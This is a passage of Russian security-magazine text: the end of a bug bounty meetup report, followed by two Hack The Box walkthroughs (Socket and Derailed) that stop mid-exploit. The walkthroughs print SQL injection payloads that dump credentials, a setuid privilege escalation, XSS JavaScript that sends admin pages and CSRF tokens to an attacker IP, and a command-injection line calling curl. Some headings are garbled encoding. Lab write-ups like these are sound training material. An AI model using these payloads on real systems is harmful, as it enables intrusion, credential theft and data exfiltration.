это намек на извес тную проб лему, ког да в ком пани ях получа ют отчет об уяз- 
вимос тях, а баг ханте рам пла тить не торопят ся.

Иван зат ронул и воп рос ком муника ций. Вкрат це: если уж берешь ся спо- 
рить и что-то выяс нять, то делай это адек ватно, аргу мен тирован но и без эмо- 
ций.

« »«Ñòà ðàé òåñü íåì íîãî âûõîäèòü çà ðàì êè ñòàí äàð òíî ãî», — Èâàí
×àëûêèí

Фи наль ная часть док лада была пос вящена ста тис тике: в сред нем ком пания
получа ет по 120 отче тов еже месяч но; самая боль шая еди нора зовая вып лата
сос тавила 2 мил лиона руб лей за IDOR; еще одна круп ная вып лата по акции
сос тавила 12 мил лионов руб лей за цепоч ку уяз вимос тей XSS → SSRF → RCE,
которая, по сло вам Ива на, зас лужива ет отдель ного док лада. Топовы ми
типами уяз вимос тей Иван наз вал те же, что и Мак сим в сво ем док ладе,
это IDOR и XSS.

5. BIG BB BROTHER IS WATCHING YOU

• Äîê ëàä÷èê: Àëåê ñåé Ãðè øèí

• Çà ïèñü äîê ëàäà

Алек сей Гри шин на этом митапе пред став лял коман ду VK и начал свое выс- 
тупле ние с рас ска за о дос тупных ББ-прог раммах ком пании. Баг баун ти-прог- 
рамма VK раз меща ется на всех трех рос сий ских плат формах: ,

 и .
Standoff 365

BI.ZONE Bug Bounty BugBounty.ru
Ско уп огро мен, и в нем даже есть катего рия «Все дру гое» — на слу чай,

если баг ханте ра одо леют сом нения, куда имен но слать репорт. Алек сей
отме тил, что хан теры иног да пыта ются хит рить, отправ ляя одну уяз вимость
на две раз ные плат формы. И обри совал огромный круг задач сво ей коман ды:
нуж но под держи вать акту аль ную информа цию на всех плат формах, работать
с бюд жетами и отчетнос тями и, конеч но, про верять сами уяз вимос ти.

Алек сей рас ска зал, что получен ные отче ты спер ва прос матри вает ана- 
литик, про веряя валид ность дан ных и филь труя мусор. Пос ле это го к работе
под клю чает ся спе циаль ный бот, который забира ет валид ные отче ты. Они,
в свою оче редь, наз нача ются на ответс твен ных сот рудни ков. Иссле дова тели
получа ют уве дом ления по ходу дви жения отче та внут ри ком пании. Заод но
накап лива ется полез ная ста тис тика по багам: где и какие уяз вимос ти чаще
встре чают ся.

За пер вый квар тал 2023 года, по дан ным VK, валид ным и полез ным был
лишь каж дый вто рой отчет. От валид ных отче тов доля кри тичес ких уяз вимос- 
тей сос тавила 5%, а осталь ные 95% — стан дар тные уяз вимос ти.

По дан ным Алек сея, уве личе ние воз награж дения сти мули рует инте рес баг- 
ханте ров к ББ-прог рамме. Помога ют в этом и PR-активнос ти, да и репута ция
ком пании игра ет немалую роль. Тут же проз вучал извес тный факт, что чем
мед леннее ком пания реаги рует на отче ты, тем мень ше инте рес баг ханте ров
к ее прог рамме.

В док ладе заш ла речь и о самих иссле дова телях. Про фили рова ние баг- 
ханте ров важ но, пос коль ку может понадо бить ся выбирать спе циалис тов,
которых мож но допус тить к инфраструк туре. Так же важ но понимать финан- 
совые ожи дания иссле дова телей, ведь спе циалист не будет тра тить свое
вре мя на невыгод ные прог раммы. От баг ханте ров, что логич но, ожи дает ся
резуль татив ность, некон фликтность и спо соб ность писать качес твен ные
отче ты.

Как оце нива ются иссле дова тели коман дой VK? Ана лиз про исхо дит
по мно гим кри тери ям, что поз воля ет оце нить баг ханте ра не толь ко
по какому-то одно му парамет ру. А еще Алек сей раз веял миф о том, что боль- 
шое количес тво N/A или «информа тивов» в отче те пор тит репута цию баг- 
ханте ру. В доказа тель ство Алек сей при вел инте рес ный при мер, но я не буду
его перес казывать — луч ше пос мотри док лад.

6. ÊÀÊ ÍÀÕÎÄÈÒÜ ÁÀÃÈ ÍÀ ÁÀÃÁÀÓÍÒÈ È ÍÅ ÇÀÄÀËÁÛÂÀÒÜÑß

• Äîê ëàä÷èê: Àíà òîëèé Èâà íîâ

• Çà ïèñü äîê ëàäà

Ана толий Ива нов начал свой док лад с крат кого рас ска за о себе и о сво ем
опы те в баг баун ти. До 2021 года он охо тил ся за багами на HackerOne
и посещал темати чес кие мероп риятия, порой бод рится CTF’ками, да и
в целом он дав но пог ружен в ИБ. Сей час Ана толий — руково дитель нап- 
равле ния раз вития баг баун ти Standoff 365.

За осно ву выс тупле ния Ана толий взял гипоте тичес кий при мер ситу ации,
ког да вымыш ленно му герою нуж ны день ги для вып латы ипо теки. В начале
у него ноль денег, зато есть опре делен ные скил лы.

« »«Áàã áàóí òè — ýòî ñèëü íî ïðî ùå, ÷åì âñå äóìà þò!» — Àíà òîëèé Èâà íîâ

Пер вый рас смот ренный кейс касал ся при ложе ния, собира юще го мет рики
и про чие подоб ные дан ные. Изна чаль но пред лага емый иссле дова телям уро- 
вень дос тупа был гос тевым и отто го доволь но бес полез ным. Нем ного
покопав шись на мар кетин говом сай те, Ана толий смог зап росить демодос туп
к тому же при ложе нию, но уже с пре дос тавлен ными дан ными адми нис тра- 
тора, так что и до завет ного RCE оста лось рукой подать. Вот так прос то.

Спи кер тут же отме тил нюанс: из-за кри вых прав дос тупа все нуж ные
для экс плу ата ции дан ные мож но было получить и из исходно го кода,
но нажать три кноп ки вся ко быс трее и про ще. Не пос поришь.

Еще один полез ный совет: переп роверять баги, которые обоз начены
как исправ ленные. Исправ ляет ся не всё и не всег да, а для баг ханте ра
это может быть воз можностью лег ко зарабо тать.

На вто ром кей се Ана толий про демонс три ровал, что сто ит искать уяз вимос ти
не толь ко в веб-при ложе ниях, но и в мобиль ных. Но пос коль ку боль шинс тво
баг ханте ров ленит ся это делать, кон курен ции здесь мень ше и боль ше шан- 
сов на наг раду.

Тре тий кейс был свя зан с React. Читать код бан длов раз мером по нес- 
коль ко мегабай тов, мяг ко говоря, не вари ант, но хотя бы часть исходни ков
все же мож но про читать.

На чет вертом при мере Ана толий показал, как важ но выбирать пра виль ную
цель для иссле дова ния, огра ничи вать ско уп и углублять иссле дова ние. Чем
боль ше ты узна ешь о цели, тем более инте рес ные баги най дешь.

Пя тый кейс был пос вящен высоко защи щен ным целям. Точ нее, тем слу- 
чаям, ког да мощ ная защита — это видимость. Порой быва ет выгод но охо- 
тить ся за уяз вимос тями там, где, казалось бы, уже все что мож но наш ли и за
все воз можные руч ки подер гали мно го раз. Но нет-нет да находят ся уяз- 
вимос ти, сто ит лишь сфо куси ровать вни мание на ано мали ях.

На при мере шес того кей са Ана толий показал, как полез но вов ремя обра- 
щать ся за помощью к кол легам, что бы не бить ся над проб лемой в гор дом
оди ночес тве. Порой выход из тупико вой ситу ации гораз до бли же к нам, чем
мы дума ем.

Зак лючитель ный кейс — седь мой — про инте рес и выгоду от работы
в коман де с кол легами и друзь ями.

Итог: док лад окон чен, а наш лиричес кий герой Ана толий вып лачива ет ипо- 
теку и съез жает со сво ей суп ругой от мамы. Жизнь уда лась!

ÎÁÙÈÅ ÂÏÅ×ÀÒËÅÍÈß

На кану не Standoff Talks в том же лоф те «Вес на» про шел пер вый Standoff
Hacks, и про шел весь ма успешно. Так, что некото рым учас тни кам уда лось
рас качать ся толь ко к середи не Talks. В этом смыс ле оба мероп риятия орга- 
нич но друг дру га допол нили: основная буря событий приш лась на суб боту, а в
вос кре сенье мож но было рас сла бить ся, слу шая док лады, обща ясь с кол- 
легами и дегус тируя закус ки.

Всю палит ру ощу щений и эмо ций от Standoff
Hacks баг хантер Лал ка крат ко  у себя
в Telegram.

опи сал

Пос ле фор маль ной час ти встре чи всех жела ющих жда ла завер шающая часть
Talks — вечерин ка с алко голем и энер гичным дид жеем. Декора ции помеще- 
ния сме нились так стре митель но, что я как буд то слу чай но попал в ноч ной
клуб.

В целом мне пон равилась идея темати чес кой встре чи. Ощу щение, что
впи тыва ешь кон цен трат полез ной информа ции. А еще был заметен кон траст
двух сто рон — баг ханте ров и хол деров баг баун ти-прог рамм. Имен но такие
встре чи поз воля ют решать все тре ния меж ду ними.

ÂÛÂÎÄÛ

Я заметил, что некото рые воп росы зву чали наибо лее час то, встре чаясь прак- 
тичес ки в каж дом док ладе в том или ином виде:

Воп рос «CTF vs баг баун ти vs пен тест» в народе сво ей акту аль нос ти
не теря ет. Молодые энту зиас ты все еще пыта ются понять, что луч ше,
выгод нее и пер спек тивнее.

•

Пен тест — это боль ший ско уп, боль ше ответс твен ности и боль ше обя зан- 
ностей с жес тки ми вре мен ными рам ками, в то вре мя как баг баун ти —
боль ше сво боды, кре ати ва, мень ше обя залов ки и воз можность управлять
зат рачива емым на иссле дова ние вре менем.

•

Пен тест поз воля ет реали зовать импакт выяв ленных уяз вимос тей, а в баг- 
баун ти, по сути, нуж но уметь вов ремя оста новить ся, что порой может выг- 
лядеть как более повер хностный под ход к иссле дова нию (но вов се не обя- 
затель но это так).

•

Поч ти во всех док ладах зат рагивал ся воп рос проз рачнос ти внут ренних
механиз мов ком паний. Оче вид но, что баг ханте ров час то дер жат в неведе- 
нии, и это ни одной из сто рон не идет в плюс.

•

Поч ти все говори ли о том, как важ но выс тра ивать адек ватную ком муника- 
цию, при чем улуч шения нуж ны с обе их сто рон.

•

Как по мне, срав нивать CTF, баг баун ти и пен тест некор рек тно, ведь каж дая
из этих дис циплин реша ет свой спектр задач и будь одна хуже дру гой, то
мы бы о них прос то не вспо мина ли, не говоря даже про их исполь зование
на прак тике. Нра вит ся рубить ся в CTF? Так дер жать! Это не озна чает, что ты
луч ше или хуже кого-то или чего-то. Бал деешь от баг баун ти? Отлично! Хвас- 
тай ся сво ими наход ками перед кол легами, не сиди в гор дом оди ночес тве.
Тре ниру ешь мозг в пен тестах? Рос кошно! Не забывай о воз можнос ти
переда вать зна ния и опыт. Все это хорошо, да и матерые безопас ники
неред ко сочета ют эти дис ципли ны по необ ходимос ти или по желанию, так что
не спе ши делать суровые и гло баль ные выводы.

Что же до уме ния выс тра ивать адек ватную ком муника цию, то уже дав но
все сфор мулиро вано: ува жай себя и сво их собесед ников, вни кай в детали
и допус кай как мож но мень ше негатив ных эмо ций в работе. Не будь рав- 
нодуш ным и повер хностным. А тут, гля дишь, и воп рос с проз рачностью внут- 
ренних про цес сов в ком пани ях может стать про ще, как за счет воз ника юще го
доверия, так и за счет оче вид ной вза имо выго ды.

mailto:vladfearzzzz@gmail.com
https://www.youtube.com/watch?v=e_iAR-_8jUc
https://hackerone.com/wordpress
https://hackerone.com/automattic
https://bugcrowd.com/elementor/
https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor
https://www.youtube.com/watch?v=7Ga4JJb1AOM
https://yandex.ru/bugbounty/index
https://www.hackerone.com/
https://www.youtube.com/watch?v=yB9JkaFClG8
https://www.youtube.com/watch?v=tbcuIO4du4o
https://www.youtube.com/watch?v=Xlt-FaQntZQ
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https://bugbounty.bi.zone/
https://bugbounty.ru/
https://www.youtube.com/watch?v=Sb5oWrg4q9k
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ЭКСПЛУАТИРУЕМ SQL-
ИНЪЕКЦИЮ ДЛЯ АТАКИ НА SQLITE

ЧЕРЕЗ WEBSOCKET

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать SQL-инъ екцию в SQLite, обра щаясь
к базе через веб-сокет. Так же поревер сим
при ложе ние на Python 3, ском пилиро ван- 
ное для Linux, и повысим при виле гии
на целевой машине, про экс плу ати ровав
уяз вимость в бил дере Python.

На ша цель — зах ват тре ниро воч ной машины Socket с пло щад ки 
. Уро вень ее слож ности — сред ний.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.206    socket.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем три откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Apache 2.4.52;•
5789 — сер вер Python 3, отве чающий по WebSockets.•

SSH ничего не даст, с веб-сокета ми тоже пока что ничего не ясно, поэто му
про ходим на основной сайт. Как вид но из , выпол няет ся редирект

на адрес . Добавим этот домен в файл 

и откро ем в бра узе ре.

http-title
http://qreader.htb /etc/hosts

10.10.11.206 socket.htb qreader.htb 

Глав ная стра ница сай та qreader.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На стра нице видим ссыл ки для ска чива ния исполня емых фай лов для Windows
и Linux.

Раз дел заг рузки при ложе ния

Ска чав файл, закиды ваем его в любой удоб ный деком пилятор (я исполь зую
IDA Pro). Сра зу мож но обра тить вни мание на исполь зование кон стант язы ка
Python.

Де ком пилиро ван ный код стар товой фун кции

Эти кон стан ты озна чают, что скрип ты на Python были ском пилиро ваны
в исполня емый файл. Но в этом слу чае мы можем обратно рас паковать
из ELF объ ектные фай лы Python. Для это го исполь зуем .pyinstxtractor

python3 pyinstxtractor.py ../qreader 

Рас паков ка исполня емо го фай ла

Мы получа ем целый каталог объ ектных фай лов Python, которые теперь нуж но
пре обра зовать в чита емые скрип ты. Для пре обра зова ния будем исполь- 
зовать инс тру мент .unpyc37

python3.10 unpyc37-3.10/src/unpyc3.py pyinstxtractor/qreader_
extracted/qreader.pyc > qreader.py 

Со дер жимое фай ла qreader.py

В стро ке 13 сра зу опре деля ем адрес сер виса, с которым нуж но работать
через веб-сокеты. Так как это новый домен, обновля ем запись в фай ле 

.

/etc/
hosts

10.10.11.206 socket.htb qreader.htb ws.qreader.htb 

Ана лизи руя код, даль ше находим две фун кции, через которые и про исхо дит
вза имо дей ствие с сер вером с помощью . Пер вая фун кция нуж на

для получе ния вер сии при ложе ния, а вто рая — для про вер ки обновле ний.

ws_connect

Со дер жимое фай ла qreader.py (про дол жение)

За пус каем при ложе ние и про веря ем эти фун кции.

При ложе ние QR Code Reader

Поп робу ем перех ватить тра фик при ложе ния, для чего запус тим ,
а так же переза пус тим при ложе ние, но теперь через тун нелятор

. Пред варитель но в фай ле кон фигура ций 

 сде лаем запись для HTTP-прок си.

Burp Pro

ProxyChains /etc/proxychains.
conf

http 127.0.0.1 1080 

proxychains -q ./qreader 

Сно ва зап рашива ем вер сию прог раммы и прос матри ваем исто рию зап росов
в Burp History.

Зап рос в Burp History

Так как соеди нение с сер вером было уста нов лено, мож но перей ти к исто рии
зап росов по WebSockets.

Зап росы в WebSockets history

Ком бинаци ей кла виш Ctrl-R перено сим зап рос в  и про буем
отпра вить нес коль ко базовых наг рузок, что бы про верить, нет ли здесь воз- 
можнос ти для SQL-инъ екции. И очень быс тро находим уяз вимость внед рения
кода SQL с такой наг рузкой:

Burp Repeater

{
   "version": "0.0.2" -- -"
}

Ре зуль тат выпол нения зап роса

Продолжение статьи →
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ЭКСПЛУАТИРУЕМ SQL-ИНЪЕКЦИЮ ДЛЯ АТАКИ
НА SQLITE ЧЕРЕЗ WEBSOCKET

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Пер вым делом поп робу ем опре делить количес тво стол бцов в текущей таб- 
лице. Для это го будем исполь зовать UNION-зап рос с перемен ным количес- 
твом стол бцов.

      {"version": "0.0.2" union select 1 -- -"}
{"version": "0.0.2" union select 1,2 -- -"}

      {"version": "0.0.2" union select 1,2,3 -- -"}
{"version": "0.0.2" union select 1,2,3,4 -- -"}

Оп ределе ние количес тва стол бцов в таб лице

Ва риант с четырь мя стол бца ми воз вра щает при выч ный нам ответ, а не ошиб- 
ку, поэто му дела ем вывод, что это под ходящее количес тво. Так же сто ит отме- 
тить, что в ответ попада ет одна запись, которая содер жится в пер вой таб- 
лице, и не попада ет запись из нашей вто рой «UNION-таб лицы». Что бы
попада ла запись из вто рой таб лицы, нам нуж но подать невер ные дан ные
в пер вую. К при меру, вмес то зна чения вер сии  отпра вить стро ку 

.
0.0.2 qwe0.

0.2
Те перь нам нуж но узнать, какая база дан ных исполь зует ся. Это будет важ-

но при сос тавле нии зап роса. Уда лось уста новить, что это не MySQL и не
PostgreSQL, а вот вари ант для SQLite отоб разил вер сию 3.37.2.

{
         "version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}

{
   "version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}

{
         "version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}

Оп ределе ние вер сии СУБД

Те перь нуж но получить таб лицы из базы.

{
         

  
"version": "qwe0.0.2" union select 1,group_concat(name),3,4 from

sqlite_schema -- -"
}

Су щес тву ющие в базе таб лицы

Пер вая инте рес ная таб лица — . Что бы получить дан ные из нее, нуж но

знать, из каких стол бцов их зап рашивать. Поэто му сле дующим зап росом
узна ем стол бцы таб лицы .

users

users

{
          

         
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master

where type!="meta" and name="users" and sql not null -- -"
}

Стол бцы в таб лице users

А теперь получим логины и пароли.

{
   "version": "qwe0.0.2" union select 1,group_concat(username),
group_concat(password),4 from users -- -"
}

Ло гины и пароли из базы

По лучи ли один хеш, по виду это MD5. Отправ ляем его на перебор по онлай- 
новым базам и получа ем пароль.

Ре зуль тат взло ма хеша

У нас есть пароль, но нет име ни поль зовате ля, поэто му прой дем ся по дру гим
таб лицам. Тем же методом получа ем стол бцы из таб лицы .answers

{
          

         
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master

where type!="meta" and name="answers" and sql not null -- -"
}

Стол бцы в базе answers

Име на поль зовате лей могут быть в стол бцах  и .answered_by answer

{
       

    
"version": "qwe0.0.2" union select 1,group_concat(answered_by),

group_concat(answer),4 from answers -- -"
}

Дан ные из таб лицы answers

По луча ем пароли поль зовате лей Thomas Keller и Mike и про буем авто ризо- 
вать ся по SSH, переби рая раз ные вари анты логина. Логин  подошел.tkeller

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Про ник нув в сис тему, мы дол жны соб рать информа цию. Я буду исполь зовать
для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

В выводе скрип та отме чена запись в ./etc/sudoers

Нас трой ки судо ера

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Мы можем запус тить скрипт  от име- 

ни поль зовате ля  без вво да пароля. Раз берем ся, что дела ет этот сце- 

нарий.

/usr/local/sbin/build-installer.sh
root

Со дер жимое фай ла build-installer.sh

В коде инте рес ны два бло ка, которые будут выпол нять ся, если ука заны
парамет ры  или . В обо их бло ках ука зан ный в парамет ре файл

будет передан прог рамме . Таким обра зом мож но выпол нить

про изволь ный код на Python. Соз дадим файл , который будет
наз начать S-бит коман дной обо лоч ке.

build make
pyinstaller

privesc.spec

 import os
os.system("chmod u+s /bin/bash")

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

А теперь запус каем скрипт и переда ем ему соз данный файл.

sudo /usr/local/sbin/build-installer.sh build privesc.spec 

Ре зуль тат выпол нения скрип та

Как видишь, теперь у фай ла  уста нов лен S-бит, и, запус тив его, мы

можем получить новую при виле гиро ван ную сес сию.

/bin/bash

/bin/bash -p

Флаг рута

Флаг рута у нас, машина зах вачена!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ВЗЛОМ

В этом рай тапе я покажу при емы, которые
исполь зуют ся при ата ках на веб-при ложе- 
ния, в пер вую оче редь — работа ющие
на Ruby on Rails. Нач нем со ска ниро вания
сай та, най дем и про экс плу ати руем XSS,
затем получим дос туп к хос ту через RCE.
Для повыше ния при виле гий на ата куемой
машине раз берем ся с OpenMediaVault.

На шей целью будет зах ват тре ниро воч ной машины Derailed с пло щад ки 
. Уро вень слож ности отме чен как «безум ный».

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.190    derailed.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Nmap нашел два откры тых пор та: 22 — служ ба OpenSSH 8.4p1 и 3000 —
веб-сер вер Nginx 1.18.0. Оче вид но, что начинать сто ит с осмотра веб-при- 
ложе ния.

Глав ная стра ница сай та derailed.htb

На сай те даже без регис тра ции можем соз дать замет ку.

Соз данная замет ка

Об ратим вни мание, что обра щение к толь ко что соз данной замет ке про исхо- 
дит по номеру в URL, отсю да мож но сде лать вывод об исполь зовании
какого-то API. Прос каниру ем кор невой каталог сай та по сло варю с раз ными
наз вани ями фай лов и наз вани ями конеч ных точек API. Я сде лаю это с
помощью .feroxbuster

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За пус каем:

 
256 
feroxbuster -u http://10.10.11.190:3000 -w files_interesting.txt -t

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Пе ребо ром мы наш ли стра ницу со свой ства ми веб-фрей мвор ка Ruby
on Rails — ./rails/info/properties

Свой ства Ruby on Rails

Те перь мож но не ска ниро вать катало ги и фай лы, так как Rails пре дос тавит
нам всё в удоб ном виде на одной стра нице: ./rails/info/routes

Ко неч ные точ ки сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
В спис ке сра зу отме чаем стра ницу адми нис тра тора ,

которая недос тупна даже авто ризо ван ному поль зовате лю.

/administration

Ошиб ка при обра щении к админке сай та

Пер вым делом про буем най ти замет ки дру гих поль зовате лей. Для это го
будем прос то переби рать номер замет ки с помощью .Burp Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

На ходим все го одну замет ку, которая ничего нам не дает.

Ре зуль тат перебо ра заметок

Так же в спис ке конеч ных точек обра щаем вни мание на фор му отче та.

Стра ница /report

От прав ляем любое сооб щение и видим, что оно дос тавля ется адми нис тра- 
тору, а зна чит, будем готовить ся искать XSS.

Ре гис тра ция поль зовате ля с длин ным име нем

Пот ратив мно го вре мени и ничего не най дя, я вер нулся к фор ме авто риза ции
и спус тя еще какое-то вре мя узнал, что фор ма не дает ввес ти в поле име ни
поль зовате ля боль ше 48 сим волов. Одна ко мы можем это сде лать
с помощью Burp, обхо дя JS-скрип ты.

Пе репол нение поля created

Про дол жая изу чать сайт, я обна ружил перепол нение в поле , где
рань ше отоб ражалась дата соз дания замет ки.

created

Ин форма ция о замет ке

Так как кон троль это го поля поль зовате лем не пре дус матри вал ся, воз можно,
и про верок там никаких нет. Сно ва переб рав раз ные наг рузки по сло варю, я
ничего не получил и пошел искать XSS для Ruby on Rails на сай те . И мне
уда лось най ти . Она содер жится в модуле 

.

CVE
под ходящую уяз вимость Rails::

Html::SafeListSanitizer

Спи сок уяз вимос тей Ruby on Rails

Возь мем из отче та готовую наг рузку:

<select<style/>W<xmp<script>alert(1)</script> 

И отпра вим ее пос ле 48-го сим вола в име ни поль зовате ля при регис тра ции.
Но ничего не про изош ло.

Тес тирова ние наг рузки XSS

Уп ростим наг рузку и пов торим тест:

<select<style/><script>alert(1)</script> 

В исходном коде стра ницы все отоб ража ется кор рек тно, но алерт не появ- 
ляет ся.

Тес тирова ние наг рузки XSS

Поп робу ем выпол нить зап рос на свой сер вер через заг рузку кар тинки.

 <select<style/><img src='http://10.10.14.6/test'>

Тес тирова ние наг рузки

Ло ги лис тенера nc

Наг рузка отра бота ла, так что давай ее рас кру чивать.

Продолжение статьи →
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ПЕНТЕСТИМ ВЕБ-ПРИЛОЖЕНИЕ НА RUBY ON
RAILS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
XSS â Ruby on Rails
До бить ся выпол нения скрип тов было прос то, для это го исполь зуем извес- 
тный метод через параметр . Код из него исполня ется в том слу чае,

ког да бра узер не может заг рузить кар тинку. Для про вер ки выпол няем JS-код,
который выпол нит зап рос на наш сер вер.

onerror

   var url = "http://10.10.14.6/script_test";
    var xhr = new XMLHttpRequest();

  xhr.open('GET', url, false);
xhr.send(null);

Скрипт кодиру ем в сharCode с помощью  (в кодиров ке Base64 код
не выпол нился). Отправ ляем его в наг рузке и получа ем два зап роса: один
для кар тинки и вто рой из JS-кода.

CyberChef

 
 

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<select<style/><img
src='http://10.10.14.6/none_page' onerror="eval(String.fromCharCode(
118,97,.....,41,59))">

Наг рузка XSS на сай те

Ло ги веб-сер вера

Наг рузка отра бота ла, а так как куки в зап росе не переда ются, единс твен ный
вари ант экс плу ата ции — получать дос туп к адми нис тра тив ным стра ницам
(ведь код будет выпол нять ся у адми нис тра тора) и эксфиль тро вать их содер- 
жимое к себе на сер вер.

Сле дующий код выпол нит зап рос на стра ницу , ответ
закоди рует в Base64 и кодиров ку URL и отпра вит на наш сер вер в качес тве
парамет ра зап роса.

/administration

   var url = "http://derailed.htb:3000/administration";
     var xhr = new XMLHttpRequest();

   xhr.onreadystatechange = function() {
      if (xhr.readyState == XMLHttpRequest.DONE) {

       fetch("http://10.10.14.6/?"+ encodeURI(btoa(xhr.responseText))
)
  }
}

  xhr.open('GET', url, true);
xhr.send(null);

Ко диру ем через CyberChef и отправ ляем на сайт. Затем соз даем отчет
для адми нис тра тора и монито рим логи веб-сер вера. Получив желан ный зап- 
рос, декоди руем Base64 и откры ваем стра ницу в бра узе ре. Стра ница выг- 
лядит нек расиво, так как JS-скрип ты не заг ружа ются.

Стра ница administration

Рас смот рев под робнее ссыл ку Download, отме чаем, что это HTML-фор ма c
нес коль кими парамет рами.

Ис ходный код стра ницы

Ис поль зует ся токен CSRF, поэто му выпол нить зап рос без посеще ния стра- 
ницы  не получит ся. Так же в исходном коде уже задан ска- 

чива емый файл. Здесь приш лось дол го возить ся и с под сказ кой «смот реть
пос ледние CVE». В ито ге я вышел на  фун кции  в Ruby

on Rails. Логич но, ведь как-то же нуж но открыть файл.

/administration

уяз вимость open

Экс пло ит для уяз вимос ти в фун кции open

Ruby on Rails open RCE
Пер вым делом нам нуж но решить проб лему с токеном CSRF. Для это го обра- 
щаем ся к стра нице  и извле каем из отве та зна чение эле- 
мен та с ID . Пос ле это го переда ем его на наш сер вер.

/administration
authenticity_token

   var url = "http://derailed.htb:3000/administration";
     var xhr = new XMLHttpRequest();

   xhr.onreadystatechange = function() {
      if (xhr.readyState == XMLHttpRequest.DONE) {

           var page = new DOMParser().parseFromString(xhr.responseText, '
text/html');

         var token = page.getElementById('authenticity_token').value;

          var url2 = "http://10.10.14.44/?"+ encodeURI(token);
          var xhr2 = new XMLHttpRequest();

        xhr2.open('GET', url2, false);
      xhr2.send(null);
  }
}

  xhr.open('GET', url, true);
xhr.send(null);

Ло ги веб-сер вера

У нас получи лось извлечь токен, теперь поп робу ем про экс плу ати ровать уяз- 
вимость. Смысл в том, что бы в име ни фай ла передать кон вей ер команд.
Для тес та выпол ним зап рос с помощью curl:

 |curl http://10.10.14.44/test_rce

